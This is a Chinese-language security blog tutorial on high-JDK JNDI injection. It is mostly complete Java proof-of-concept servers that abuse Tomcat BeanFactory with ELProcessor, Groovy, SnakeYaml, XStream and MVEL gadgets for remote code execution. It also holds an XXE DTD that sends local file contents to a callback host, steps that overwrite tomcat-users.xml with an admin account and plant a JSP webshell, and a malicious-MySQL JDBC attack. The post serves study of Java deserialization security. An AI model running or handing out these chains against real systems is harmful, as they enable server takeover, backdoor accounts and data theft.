JNDI高版本注入可以说是java安全大集合了。涉及了许多框架漏洞的组合使用,当分析完JNDI高版本时,我认为也算是正式入门JAVA安全了
jndi注入第一需要在影响版本内,第二需要出网
jdk8<8u191之前,ldap都能打,且不需要其他依赖库。8u191<jdk<8u241,能打JRMP
高版本也能绕过打JNDI:
https://www.cnblogs.com/bitterz/p/15946406.html#211-javaxelelprocessoreval
回想之前的修复方式,都是把trustURLCodebase置为了false,虽然没办法加载远程恶意类了,不过可以通过加载服务器的本地类构造恶意代码
jndi回顾 JNDI demo(yakit or marshelsec生成恶意类)
1 2 3 4 5 6 7 public class JNDIRMIClient { public static void main (String[] args) throws Exception{ InitialContext initialContext = new InitialContext (); RemoteInterface remoteObject = (RemoteInterface) initialContext.lookup("ldap://172.21.240.1:8599/RuntimeEvil" ); remoteObject.sayHello("JNDI" ); } }
低版本(<8u191)jndi ldap中,跟进到DirectoryManager.getObjectInstance:
用getObjectFactoryFromRefrence从远端refrence获取类工厂,并实例化类工厂(我们绑定的恶意类工厂,这一步就完成了RCE)
getObjectInstance从类工厂加载类并实例化
跟进到NamingManager.getObjectFactoryFromRefrence,发现从Reference加载类的过程如下:
先双亲委派从本地加载类
如果本地加载不到,从codebase加载
helper.loadClass(factory) -> VersionHelper12.loadClass,用系统类加载器加载类,走双亲委派从本地加载
从codebase加载类
jdk<191,VersionHelper12从codebase加载如下,用URLClassLoader获取远端类工厂,没有任何过滤
获取后Class.forName初始化
初始化类后直接newInstance实例化,并转为ObjectFactory
jdk>=191,VersionHelper12 trustURLCodebase==true才从远端加载类工厂
不能从远端加载类工厂了,那我们换个思路
从本地加载类工厂,然后找getObjectInstance进行下一步利用
既然要找个能用的类工厂,该类必须满足实现ObjectFactory接口,才能顺利强转
Tomcat 8 导入使用Tomcat类:
1 2 3 4 5 <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 8.5.56</version > </dependency >
beanFactory Tomcat8下,org.apache.naming.factory.BeanFactory存在利用点
BeanFactory.getObjectInstance很长,大致流程如下:
不是ResourceRef子类直接退出
从ref对象中获取名为forceString的对象,并将其转化为字符串value
将value按逗号分割成多个参数,每个参数形如name=method
的键值对
如果参数包含等号,则将其按等号分为参数名和方法名,=
前面为参数,=
后面为方法名;如果参数不包含等号,则生成默认的setter方法(首字母大写加set前缀)
使用反射获取对应的方法,参数类型为String
很明显,能获取参数个数为1,参数类型为String的任意方法
遍历每个属性,跳过特定的属性(scope,auth,forceString,singleton),如果找到setter方法,则调用此方法设置属性值
找遍全文,发现这个函数完全没有用第二个参数name,也就是我们传入的reference第一个参数(需要加载的类名),好神金(估计只是为了满足重写getObjectInstance
构造一个恶意ResourceRef类,通过forceString参数,能调用任意对象的方法
类需要有无参构造函数,被利用方法需满足参数个数为1,参数类型为String
哪个方法满足要求,且能达到RCE呢?
javax.el.ELProcessor#eval 1 2 3 4 5 <dependency > <groupId > org.apache.tomcat.embed</groupId > <artifactId > tomcat-embed-el</artifactId > <version > 8.5.56</version > </dependency >
众所周知,Tomcat自带的类ELProcessor可以进行EL表达式注入
表达式注入的入口即javax.el.ELProcessor#eval,参数正好满足个数为1,类型为String
EL表达式依赖:
1 2 3 4 5 <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5 .56 </version> <!-- 使用与你的Tomcat版本相匹配的版本 --> </dependency>
EL表达式Payload:
1 2 ELProcessor elProcessor = new javax .el.ELProcessor();elProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','calc']).start()\")" );
ResourceRef接收的第一个参数即类名,应该传ELProcesser。但是构造函数并没有看见能传forceString的地方,但注意到都是通过Reference.add添加属性
我们依葫芦画瓢也调用Reference.add添加forceString。这里ResourceRef是Reference的子类
1 2 ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null );ref.add(new StringRefAddr ("forceString" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval" ));
ResourceRef作为Reference子类,可以直接进行JNDI绑定
我们直接试试呢?
1 2 3 4 5 6 7 8 9 10 public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval" )); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref); }
发现并没有执行
调试跟进到BeanFactory.getObjectInstance,发现在invoke之前,由于propName为forceString,跳过了本次循环。
我们先用forceString把setterName设置为eval,属性名设置为x,并put进forced
然后注意循环是在所有Entry循环
第二次在forced根据属性名取方法,也就是eval方法,参数为第二个Entry的Value
所以先传一个("forceString","x=eval")
,再传一个("x","payload")
即可RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class jndi_highVersion_Tomcat { public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ("x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")" )); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref); } }
攻击过程:
执行lookup->实例化factoryLocation路径下factory->调用factory的getObjectInstance->BeanFactory.getObjectInstance->根据forceString解析方法名和占位参数->填充真参数invoke反射调用ELProcessor.eval
不仅ELProcessor能利用,还有很多其他类
浅蓝师傅给出了许多满足BeanFactory调用要求(类有无参构造方法,代码执行方法参数个数为1,参数类型为String,可以后续利用)的类,尽管有一些并不能达到RCE,但仍有利用价值
https://tttang.com/archive/1405/
MLet MLet.addURL+URLClassLoader.loadClass
jdk自带的javax.management.loading.MLet,addURL方法参数满足要求
调用了URLClossLoader.addURL
MLet继承URLClassLoader,也能用URLClassLoader.loadClass
只可惜loadClass无法触发静态代码块,也无法RCE
虽然无法RCE,但可以用来进行gadget探测。例如在不知道当前Classpath存在哪些可用的gadget时,就可以通过MLet进行第一次类加载,如果类加载成功就不会影响后面访问远程类。
探测ELProcessor和是否可外联:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref = new ResourceRef ("javax.management.loading.MLet" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "a=loadClass,b=addURL,c=loadClass" )); ref.add(new StringRefAddr ("a" , "javax.el.ELProcessor" )); ref.add(new StringRefAddr ("b" , "http://127.0.0.1:8888/" )); ref.add(new StringRefAddr ("c" , "JNDI_RuntimeEvil" )); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref); }
GroovyShell 1 2 3 4 5 6 </dependency > <dependency > <groupId > org.codehaus.groovy</groupId > <artifactId > groovy-all</artifactId > <version > 2.4.15</version > </dependency >
GroovyShell.evaluate()执行groovy代码,参数可以是字符串:
一般用GroovyShell执行代码如下:
1 2 3 4 GroovyShell shell = new GroovyShell (); String content = "'calc'.execute()" ; shell.evaluate(new StringReader (content));
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class GroovyShell { public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref = new ResourceRef ("groovy.lang.GroovyShell" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=evaluate" )); ref.add(new StringRefAddr ("x" , "'calc'.execute()" )); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref); } }
GroovyClassLoader 关于GroovyClassLoader:
https://godownio.github.io/2024/10/21/groovy-lou-dong/#GroovyClassLoader
GroovyClassLoader有loadClass和defineClass
GroovyClassLoader.parseClass支持从File,字符串加载groovy类
利用AST注解可以在编译时就执行代码,而不用等到实例化
1 2 @groovy .transform.ASTTest(value={assert Runtime.getRuntime().exec("calc" )})class Person {}
利用GroovyClassLoader.parseClass完成JNDI:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class GroovyClassLoader { public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref = new ResourceRef ("groovy.lang.GroovyClassLoader" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=parseClass" )); ref.add(new StringRefAddr ("x" , "@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec(\"calc\")})\n" + "class Person{}" )); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref); } }
利用GroovyClassLoader.addClasspath->loadClass完成JNDI:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class GroovyClassLoader_URL { public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref = new ResourceRef ("groovy.lang.GroovyClassLoader" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=addClasspath,y=loadClass" )); ref.add(new StringRefAddr ("x" , "http://127.0.0.7:8888/" )); ref.add(new StringRefAddr ("y" , "groovy_RuntimeEvil" )); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref); } }
注意把本地的groovy_RuntimeEvil排除在构建目录外,不然每次编译都弹计算器,还报错,怪不爽的
SnakeYaml 1 2 3 4 5 <dependency > <groupId > org.yaml</groupId > <artifactId > snakeyaml</artifactId > <version > 1.27</version > </dependency >
利用Yaml().load(String)
SnakeYaml和fastjson,jackson一样,Yaml.load()会调用类的构造函数和setter。能在这里利用,是因为SnakeYaml有Yaml的无参构造函数实例化
https://godownio.github.io/2024/10/28/snakeyaml/#JdbcRowSetImpl
SnakeYaml能用的payload都能用,比如ScriptEngineManager
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class ScriptEngineManager { public static void main (String[] args) throws Exception { String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8888/EvilServiceScriptEngineFactory_jdk8.jar\"]]]]\n" ; LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref = new ResourceRef ("org.yaml.snakeyaml.Yaml" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=load" )); ref.add(new StringRefAddr ("x" , poc)); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref); } }
恶意jar包:
https://github.com/godownio/java_unserial_attackcode/blob/master/src/main/java/org/exploit/third/SnakeYaml/EvilServiceScriptEngineFactory_jdk8.jar
XStream 如果目标XStream<=1.4.17,还能直接打XStream().fromXML(String)
1 2 3 4 5 <dependency > <groupId > com.thoughtworks.xstream</groupId > <artifactId > xstream</artifactId > <version > 1.4.17</version > </dependency >
https://godownio.github.io/2024/10/31/xstream/#%E4%B8%8D%E5%87%BA%E7%BD%91CVE-2021-39149
不出网打TemplatesImpl POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 public class TemplatesImpl { public static void main (String[] args) throws Exception{ String Evilcls = readClassStr(); String payload = "<linked-hash-set>\n" + " <dynamic-proxy>\n" + " <interface>map</interface>\n" + " <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>\n" + " <classToInvocationHandler class='linked-hash-map'/>\n" + " <defaultHandler class='sun.tracing.NullProvider'>\n" + " <active>true</active>\n" + " <providerType>java.lang.Object</providerType>\n" + " <probes>\n" + " <entry>\n" + " <method>\n" + " <class>java.lang.Object</class>\n" + " <name>hashCode</name>\n" + " <parameter-types/>\n" + " </method>\n" + " <sun.tracing.dtrace.DTraceProbe>\n" + " <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>\n" + " <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" + " <default>\n" + " <__name>Pwnr</__name>\n" + " <__bytecodes>\n" + " <byte-array>" +Evilcls+ "</byte-array>\n" + " <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>\n" + " </__bytecodes>\n" + " <__transletIndex>-1</__transletIndex>\n" + " <__indentNumber>0</__indentNumber>\n" + " </default>\n" + " <boolean>false</boolean>\n" + " </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" + " </proxy>\n" + " <implementing__method>\n" + " <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>\n" + " <name>getOutputProperties</name>\n" + " <parameter-types/>\n" + " </implementing__method>\n" + " </sun.tracing.dtrace.DTraceProbe>\n" + " </entry>\n" + " </probes>\n" + " </defaultHandler>\n" + " </handler>\n" + " </dynamic-proxy>\n" + "</linked-hash-set>" ; LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref = new ResourceRef ("com.thoughtworks.xstream.XStream" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=fromXML" )); ref.add(new StringRefAddr ("x" , payload)); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref); } public static String readClassStr () throws IOException { byte [] code = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class" )); return Base64.encode(code); } }
MVEL 1 2 3 4 5 <dependency > <groupId > org.mvel</groupId > <artifactId > mvel2</artifactId > <version > 2.2.8.Final</version > </dependency >
不限MVEL版本
相信很多人没遇到过MVEL,这里简单介绍一下。MVEL类似于OGNL
看几个case:
运算
1 2 3 4 5 public static void main (String[] args) { String expression = "2 + 3" ; Object result = MVEL.eval(expression); System.out.println("Result: " + result); }
利用HashMap传参
1 2 3 4 5 6 7 8 9 public static void main (String[] args) { Map<String, Object> vars = new HashMap <>(); vars.put("a" , 10 ); vars.put("b" , 20 ); String expression = "a + b" ; Object result = MVEL.eval(expression, vars); System.out.println("Result: " + result); }
利用HashMap进行函数传参
1 2 3 4 5 6 7 8 public static void main (String[] args) { String expression = "def addTwo(num1, num2) { num1 + num2; } val = addTwo(a, b);" ; Map<String, Object> paramMap = new HashMap (); paramMap.put("a" , 2 ); paramMap.put("b" , 4 ); Object object = MVEL.eval(expression, paramMap); System.out.println(object); }
先编译表达式后执行,compileExpression->executeExpression。注意是编译成Serializable
1 2 3 4 5 6 7 8 9 10 11 12 13 public class MVELExample { public static void main (String[] args) { String expression = "a + b" ; Serializable compiledExpr = MVEL.compileExpression(expression); Map<String, Object> vars = new HashMap <>(); vars.put("a" , 10 ); vars.put("b" , 20 ); Object result = MVEL.executeExpression(compiledExpr, vars); System.out.println("Result: " + result); } }
执行java代码:
1 2 3 4 5 6 7 8 public static void main (String[] args) { Map vars = new HashMap (); String expression1 = "Runtime.getRuntime().exec(\"open -a Calculator\")" ; Serializable serializable = MVEL.compileExpression(expression1); vars.put("1" ,expression1); MVEL.executeExpression(serializable,vars); }
换成eval当然也可以
但是MVEL.eval似乎并不能在高版本JNDI中被利用,因为在这里eval是个static方法
浅蓝师傅找到了通过org.mvel2.sh.ShellSession#exec(String)
->org.mvel2.sh.command.basic.PushContext
->MVEL.eval
执行MEVL表达式的方法
ShellSession.exec先把命令压到了inBuffer,然后调用_exec
然后_exec
内,从inBuffer取出了命令,如果commands包含了该命令,就调用execute
构造函数里初始化了commands静态变量
其中可以看到push命令返回的PushContext
PushContext.execute调用了MVEL.eval
JNDI POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class ShellSession { public static void main (String[] args) throws Exception { String expression1 = "Runtime.getRuntime().exec(\"calc\")" ; LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref = new ResourceRef ("org.mvel2.sh.ShellSession" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=exec" )); ref.add(new StringRefAddr ("x" , expression1)); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref); } }
beanFactory还有一个NativeLibLoader可以利用,由于手法和原理比较复杂,另外再分析(挖坑)
MemoryUserDatabaseFactory XXE 如果beanFactory被列入黑名单呢?
org.apache.catalina.users.MemoryUserDatabaseFactory
的getObjectInstance也存在可利用的点
首先该类满足继承了ObjectFactory
reference不是org.apache.catalina.UserDatabase会直接return
getObjectInstance会先按name实例化MemoryUserDatabase
并从ref中获取pathname,readonly,watchSource,并调用open。如果readonly不为true(不是只读),就会调用database.save
跟进到open,发现这是个处理配置文件的方法,配置文件正好是XML
可以看到,是用URL类去远程加载pathName配置文件,并用Digester.parse去解析XML文档
中间没有任何过滤,可以打JAVA的XXE。关于java的XXE:(注意别TM在java里用php伪协议了)
https://godownio.github.io/2024/11/06/java-xxe/
XXE无回显盲注 POC:
xxe.dtd,其中URL为回显的vps
1 2 <!ENTITY % file SYSTEM "file:///C:/Users/Administrator/Desktop/test.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://172.25.0.1:8085/?p=%file;'>">
yakit反连地址
XMLpayload.dtd
1 2 3 4 5 6 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE payload [ <!ENTITY % remote SYSTEM "http://127.0.0.1:8888/xxe.dtd"> %remote;%int;%send; ]> <payload>1</payload>
JNDI Server
1 2 3 4 5 6 7 8 9 10 11 12 public class MemoryUserXXE { public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref = new ResourceRef ("org.apache.catalina.UserDatabase" , null , "" , "" , true , "org.apache.catalina.users.MemoryUserDatabaseFactory" , null ); ref.add(new StringRefAddr ("pathname" , "http://127.0.0.1:8888/XMLpayload.dtd" )); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref); } }
Client请求时,dnslog收到带test.txt内容的请求
MemoryUserDatabaseFactory+beanFactory RCE 个人认为这是一个仅用于学习的trick
这个RCE是先利用FileUtils类创建目录,然后用MemoryUserDatabase.save写文件,能打的话目标机肯定有tomcat,进而覆盖tomcat-user.xml登录后台,也能写webshell
上文提到,如果传入的readonly不为真(只读),那会调用save()方法
save方法中,如果不是只读,getReadonly ! = true
;且可写isWriteable
,就会创建一个新文件流
注意目标文件路径是fileNew参数,也就是环境变量catalina.base + pathnameNew
,这里环境变量catalina.base一般都是/usr/apache-tomcat-8.5.73/
,后面是你的tomcat版本
文件内容呢?通过writer.println写入,先写入xml的前言,然后依次写入role,group,user
role,group,user怎么来的呢?
在之前调用的open()方法中,调用了addFactoryCreate,中间的解析就不看了,简单来说就是会解析<role rolename="manager-jmx"/>
这种形式到role
浅蓝师傅的这段描述相当详细
这里pathname必须是个URL对吧,这样你才能open()从远程vps读文件内容,然后调用addFactoryCreate;你又要写到指定目录对吧,那肯定要用目录穿越。假如 CATALINA.BASE=/usr/apache-tomcat-8.5.73/
,pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml
他们组成的文件路径就是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml
,以此写到/user/apache-tomcat-8.5.73/conf/tomcat-users.xml
在 Windows 下这样没问题,但如果是Linux系统的话,目录跳转符号前面的目录是必须存在的。
必须要让 CATALINA.BASE
文件夹下有/http:/127.0.0.1:8888/
这个目录的存在,用BeanFactory找一个可以创建目录的类,这里找到的是org.h2.store.fs.FileUtils
,这是一个H2 Database的类,需要JDK11及以上
1 2 3 4 5 <dependency > <groupId > com.h2database</groupId > <artifactId > h2</artifactId > <version > 2.3.232</version > </dependency >
FileUtils.createDirectory如下,符合单参数,string类型
先创建http:
目录,在创建your-vps目录,在这里就是127.0.0.1:8888
1 2 3 4 5 6 7 8 9 10 11 12 public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref1 = new ResourceRef ("org.apache.catalina.UserDatabase" , null , "" , "" , true , "org.h2.store.fs.FileUtils" , null ); ref1.add(new StringRefAddr ("forceString" , "x=createDirectory,y=createDirectory" )); ref1.add(new StringRefAddr ("x" , "../http:" )); ref1.add(new StringRefAddr ("y" , "../http:/127.0.0.1:8888" )); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref1); }
写tomcat-users.xml 登录Tomcat后台 先准备一个tomcat-users.xml
1 2 3 4 5 6 7 <role rolename ="manager-jmx" /> <role rolename ="admin-script" /> <role rolename ="admin-gui" /> <role rolename ="manager-script" /> <role rolename ="manager-status" /> <role rolename ="manager-gui" /> <user username ="bule" password ="123456" group ="" roles ="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
开个http服务,需要在../../conf/tomcat-users.xml
放置文件
先打上面创建目录的JNDI
然后打覆盖配置文件JNDI:
1 2 3 4 5 6 7 8 9 10 11 12 public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref2 = new ResourceRef ("org.apache.catalina.UserDatabase" , null , "" , "" , true , "org.apache.catalina.users.MemoryUserDatabaseFactory" , null ); ref2.add(new StringRefAddr ("pathname" , "http://127.0.0.1:8888/../../conf/tomcat-users.xml" )); ref2.add(new StringRefAddr ("readonly" , "false" )); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref2); }
由于是linux Tomcat+JDK11环境,不放测试了
写webapps/ROOT webshell test.jsp
1 <role rolename ="< %Runtime.getRuntime().exec(" calc" ); %> " />
同样的开http,再开一个JNDI Server创建http://127.0.0.1:8888
目录,再让目标下载test.jsp到webapps/ROOT
1 2 3 4 5 6 7 8 9 10 11 12 public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); ResourceRef ref2 = new ResourceRef ("org.apache.catalina.UserDatabase" , null , "" , "" , true , "org.apache.catalina.users.MemoryUserDatabaseFactory" , null ); ref2.add(new StringRefAddr ("pathname" , "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp" )); ref2.add(new StringRefAddr ("readonly" , "false" )); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref2); }
JDBC Attack 除了beanFactory,MemoryUserDatabaseFactory外,还有JDBC factory可以利用
dbcp分为dbcp1和dbcp2,同时又分为 commons-dbcp 和 Tomcat 自带的 dbcp。这么一算的话有四个dhcp的类,不过其中代码都是大致相同的
比如tomcat的dhcp2,Tomcat8自带dhcp2,7自带dhcp
以Tomcat8的org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
为例
不忘初心,该factory继承了ObjectFactory
重写了getObjectInstance
调用了createDataSource
createDataSource方法,InitialSize > 0时会调用getLogWriter
跟进到getLogWriter,这是个数据库的日志记录函数(为什么总感觉这么熟悉,还好blog有全局搜索,在分析C3P0的时候,ConnectionPoolDataSource也实现了getLogWriter
这里需要先去看下JDBC ATTACK
https://godownio.github.io/2024/12/01/jdbc-attack/
继续跟到BasicDataSource.createDatasource,createPollableConnectionFactory连接数据库工厂
createPoolableConnectionFactory构造函数调用到validateConnectionFactory,然后调用了makeObject
在makeObject调用createConnection
createConnection对我们传入的JDBC串进行connect,下面就是根据不同的JDBC串进行connect的流程了,比如这里用的Mysql,就会进到com.mysql.cj.jdbc
connect的流程
payload的JDBC串需要根据目标机现有的数据库依赖进行选择,如果目标机有H2+JDK11就能打RUNSCRIPT之类的,这里假设目标用的MySQL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private static String tomcat_dbcp2_RCE () { return "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory" ; } private static String tomcat_dbcp1_RCE () { return "org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory" ; } private static String commons_dbcp2_RCE () { return "org.apache.commons.dbcp2.BasicDataSourceFactory" ; } private static String commons_dbcp1_RCE () { return "org.apache.commons.dbcp.BasicDataSourceFactory" ; } public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); String factory = tomcat_dbcp2_RCE(); ResourceRef ref = new ResourceRef ("javax.sql.DataSource" , null , "" , "" , true , factory, null ); String JDBC_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ; ref.add(new StringRefAddr ("driverClassName" ,"com.mysql.jdbc.Driver" )); ref.add(new StringRefAddr ("url" ,JDBC_URL)); ref.add(new StringRefAddr ("username" ,"root" )); ref.add(new StringRefAddr ("password" ,"password" )); ref.add(new StringRefAddr ("initialSize" ,"1" )); InitialContext context = new InitialContext (env); context.bind("remoteImpl" , ref); }
本地起恶意MySQL Server + JNDI Server
当然有Tomcat环境都能实现以上攻击,不限Tomcat8/9,SpringBoot 1.2.x+
参考:
https://tttang.com/archive/1405/#toc_mvel